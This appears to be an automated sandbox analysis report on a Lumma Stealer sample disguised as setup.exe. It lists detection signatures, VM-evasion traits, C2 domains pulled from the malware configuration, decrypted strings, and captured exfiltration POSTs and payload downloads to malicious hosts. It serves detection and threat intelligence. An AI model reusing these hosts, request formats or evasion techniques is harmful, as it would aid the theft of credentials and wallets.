Edit tour

Windows Analysis Report
setup.exe

Overview

General Information

Sample name:	setup.exe
Analysis ID:	1584516
MD5:	6da280fb9c2da7913e9c801b4de02f47
SHA1:	119298d4791194344e819d512638165a1517525b
SHA256:	8e478472737ee141955d91e3c15c370ed92914eba06b21ad84fe056026b69e99
Tags:	exeLummaStealeruser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to detect virtual machines (SLDT)

Detected potential crypto function

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

setup.exe (PID: 6036 cmdline: "C:\Users\user\Desktop\setup.exe" MD5: 6DA280FB9C2DA7913E9C801B4DE02F47)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["tirepublicerj.shop", "nearycrepso.shop", "noisycuttej.shop", "abruptyopsn.shop", "wholersorie.shop", "rabidcowse.shop", "cloudewahsj.shop", "swingybeattyz.sbs", "framekgirus.shop"], "Build id": "version--%s"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.4583566559.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x526fb:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
Process Memory Space: setup.exe PID: 6036	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: setup.exe PID: 6036	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: setup.exe PID: 6036	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:43:29.530198+0100	2028371	3	Unknown Traffic	192.168.2.6	49801	172.67.163.221	443	TCP
2025-01-05T18:43:30.516672+0100	2028371	3	Unknown Traffic	192.168.2.6	49807	172.67.163.221	443	TCP
2025-01-05T18:43:31.703198+0100	2028371	3	Unknown Traffic	192.168.2.6	49816	172.67.163.221	443	TCP
2025-01-05T18:43:32.924011+0100	2028371	3	Unknown Traffic	192.168.2.6	49823	172.67.163.221	443	TCP
2025-01-05T18:43:34.089230+0100	2028371	3	Unknown Traffic	192.168.2.6	49833	172.67.163.221	443	TCP
2025-01-05T18:43:35.539533+0100	2028371	3	Unknown Traffic	192.168.2.6	49844	172.67.163.221	443	TCP
2025-01-05T18:43:36.620199+0100	2028371	3	Unknown Traffic	192.168.2.6	49851	172.67.163.221	443	TCP
2025-01-05T18:43:37.848215+0100	2028371	3	Unknown Traffic	192.168.2.6	49861	172.67.163.221	443	TCP
2025-01-05T18:43:39.204120+0100	2028371	3	Unknown Traffic	192.168.2.6	49867	185.161.251.21	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:43:30.032304+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49801	172.67.163.221	443	TCP
2025-01-05T18:43:30.949248+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49807	172.67.163.221	443	TCP
2025-01-05T18:43:38.346784+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49861	172.67.163.221	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:43:30.032304+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49801	172.67.163.221	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:43:30.949248+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49807	172.67.163.221	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T18:43:33.445325+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49823	172.67.163.221	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cegu.shop/8574262446/ph.txtcmdh	Avira URL Cloud: Label: malware
Source: https://cegu.shop:443/8574262446/ph.txtosoft	Avira URL Cloud: Label: malware
Source: https://cegu.shop/8574262446/ph.txtn	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop/int_clp_sha.txt59	Avira URL Cloud: Label: malware
Source: https://cegu.shop/8574262446/ph.txtY	Avira URL Cloud: Label: malware
Source: https://cegu.shop/8574262446/ph.txtebKit/537.36	Avira URL Cloud: Label: malware

Found malware configuration

Source: setup.exe.6036.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["tirepublicerj.shop", "nearycrepso.shop", "noisycuttej.shop", "abruptyopsn.shop", "wholersorie.shop", "rabidcowse.shop", "cloudewahsj.shop", "swingybeattyz.sbs", "framekgirus.shop"], "Build id": "version--%s"}

Multi AV Scanner detection for submitted file

Source: setup.exe	ReversingLabs: Detection: 21%
Source: setup.exe	Virustotal: Detection: 15%			Perma Link

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: swingybeattyz.sbs
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.4583690918.0000000003250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: hRjzG3--ALFA

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.221:443 -> 192.168.2.6:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.6:49867 version: TLS 1.2

Source: setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: D:\Projects\MultiCommander\BuildOutput\Output\Win32\Release v143\MultiCrashReport\MultiCrashReport.pdb source: setup.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49801 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49861 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49801 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49807 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49807 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49823 -> 172.67.163.221:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: swingybeattyz.sbs
Source: Malware configuration extractor	URLs: framekgirus.shop

Source: Joe Sandbox View

IP Address: 185.161.251.21 185.161.251.21

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49801 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49816 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49807 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49833 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49823 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49844 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49861 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49851 -> 172.67.163.221:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49867 -> 185.161.251.21:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: swingybeattyz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 78Host: swingybeattyz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LQZT3S9HDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12804Host: swingybeattyz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PT4ZUHUFG60WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15068Host: swingybeattyz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BFOKXTB7F7PJF3BJOMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19962Host: swingybeattyz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=25NIHNLIM7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 886Host: swingybeattyz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WVS3PWFE6P0ELWUTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1090Host: swingybeattyz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 113Host: swingybeattyz.sbs
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop

Source: global traffic	DNS traffic detected: DNS query: swingybeattyz.sbs
Source: global traffic	DNS traffic detected: DNS query: cegu.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: swingybeattyz.sbs

Source: setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: setup.exe	String found in binary or memory: http://certificates.starfieldtech.com/repository/1604
Source: setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: setup.exe	String found in binary or memory: http://crl.starfieldtech.com/repository/0
Source: setup.exe	String found in binary or memory: http://crl.starfieldtech.com/repository/sfsroot.crl0P
Source: setup.exe	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: setup.exe	String found in binary or memory: http://multicommander.com/crashreport/report.phpHTTP/1.1/crashreport/report.phpPOST-----------------
Source: setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: setup.exe	String found in binary or memory: http://ocsp.starfieldtech.com/0D
Source: setup.exe	String found in binary or memory: http://ocsp.thawte.com0
Source: setup.exe	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: setup.exe	String found in binary or memory: http://s2.symcb.com0
Source: setup.exe	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: setup.exe	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: setup.exe	String found in binary or memory: http://sf.symcd.com0&
Source: setup.exe	String found in binary or memory: http://sv.symcb.com/sv.crl0W
Source: setup.exe	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: setup.exe	String found in binary or memory: http://sv.symcd.com0&
Source: setup.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: setup.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: setup.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: setup.exe	String found in binary or memory: http://www.symauth.com/cps0(
Source: setup.exe	String found in binary or memory: http://www.symauth.com/rpa00
Source: setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: setup.exe, 00000000.00000002.4583068445.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/
Source: setup.exe, setup.exe, 00000000.00000003.2629928502.0000000001379000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583068445.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583387688.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txt
Source: setup.exe, 00000000.00000003.2630094687.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583238565.0000000001326000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.3041000487.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txtY
Source: setup.exe, 00000000.00000002.4583068445.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txtcmdh
Source: setup.exe, 00000000.00000002.4583868550.00000000034EB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txtebKit/537.36
Source: setup.exe, 00000000.00000002.4583068445.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txtn
Source: setup.exe, 00000000.00000002.4583158762.0000000001302000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2630144308.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.3040949208.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop:443/8574262446/ph.txtosoft
Source: setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: setup.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: setup.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: setup.exe, 00000000.00000002.4583978482.000000000412B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583994280.0000000004145000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2629928502.0000000001379000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2630078716.000000000412B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583946336.0000000004129000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583387688.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: setup.exe, 00000000.00000003.2629928502.0000000001379000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583387688.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txt
Source: setup.exe, 00000000.00000003.2629928502.0000000001379000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583387688.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txt59
Source: setup.exe, 00000000.00000003.2375453382.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: setup.exe, 00000000.00000003.2375453382.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: setup.exe, setup.exe, 00000000.00000003.2630094687.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2349301784.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583238565.0000000001326000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2413052550.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583068445.00000000012C9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.3041000487.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs/
Source: setup.exe, 00000000.00000003.2349301784.0000000001323000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs/%
Source: setup.exe, setup.exe, 00000000.00000003.2413012877.0000000001376000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2374539297.000000000412A000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2349301784.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2629928502.0000000001379000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2389796197.000000000412D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2413012877.0000000001391000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2387103359.000000000412A000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2375426138.000000000412D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583068445.00000000012C9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583387688.0000000001379000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2413116336.0000000001378000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2363019004.0000000004130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://swingybeattyz.sbs/api
